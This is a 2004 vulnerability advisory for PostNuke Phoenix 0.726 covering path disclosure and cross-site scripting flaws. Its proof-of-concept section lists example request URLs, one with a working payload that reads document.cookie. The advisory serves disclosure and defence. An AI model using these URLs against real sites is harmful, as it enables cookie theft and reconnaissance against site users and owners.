PostNuke Phoenix Multiple Cross-Site Scripting And Path Disclosure Vulnerabilities

BID:10191

Info

PostNuke Phoenix Multiple Cross-Site Scripting And Path Disclosure Vulnerabilities

Bugtraq ID: 10191
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 21 2004 12:00AM
Updated: Apr 21 2004 12:00AM
Credit: Discovery of these vulnerabilities has been credited to Janek Vind <[email protected]>.
Vulnerable: PostNuke Development Team PostNuke Phoenix 0.726
Not Vulnerable:

Discussion

PostNuke Phoenix Multiple Cross-Site Scripting And Path Disclosure Vulnerabilities

Multiple vulnerabilities were reported to exist in PostNuke Phoenix. The following specific vulnerabilities were reported:

- Multiple path disclosure vulnerabilities that occur when a user directly requests scripts in the "/includes/blocks/" and "pnadodb" directories. This issue also affects scripts that are associated in multiple modules.

- Multiple cross-site scripting vulnerabilities were reported in the Downloads and Web_Links modules as well as the openwindow.php script. These issues may permit remote attackers to cause hostile HTML and script code to be interpreted by a victim user's browser.

Exploit / POC

PostNuke Phoenix Multiple Cross-Site Scripting And Path Disclosure Vulnerabilities

The following examples have been supplied:

Path disclosure:
http://www.example.com/postnuke0726/includes/blocks/finclude.php
http://www.example.com/postnuke0726/pnadodb/drivers/adodb-access.inc.php
http://www.example.com/postnuke0726/modules/NS-NewUser/user.php
http://www.example.com/postnuke0726/modules/NS-Your_Account/user/links/links.changehome.php
http://www.example.com/postnuke0726/modules/NS-Your_Account/user/case/case.changehome.php?op=edithome
http://www.example.com/postnuke0726/modules/NS-LostPassword/user.php
http://www.example.com/postnuke0726/modules/NS-Multisites/chgtheme.inc.php
http://www.example.com/postnuke0726/modules/NS-Multisites/head.inc.php
http://www.example.com/postnuke0726/modules/NS-Multisites/print.inc.php
http://www.example.com/postnuke0726/modules/NS-User/tools.php
http://www.example.com/postnuke0726/modules/NS-User/user.php


Cross-Site Scripting:
http://www.example.com/postnuke0726/modules.php?op=modload&name=Downloads&file=index&req=ratedownload&ttitle=x&lid=>[xss code here]
http://www.example.com/postnuke0726/modules.php?op=modload&name=Downloads&file=index&req=search&query=>[xss code here]
http://www.example.com/postnuke0726/modules.php?op=modload&name=Web_Links&file=index&req=search&query=>[xss code here]
http://www.example.com/postnuke0726/javascript/openwindow.php?hlpfile=x<html><body>[xss code here]
http://www.example.com/postnuke0726/javascript/openwindow.php?hlpfile=x<html><body%20onload=alert(document.cookie);>

Solution / Fix

PostNuke Phoenix Multiple Cross-Site Scripting And Path Disclosure Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PostNuke Phoenix Multiple Cross-Site Scripting And Path Disclosure Vulnerabilities

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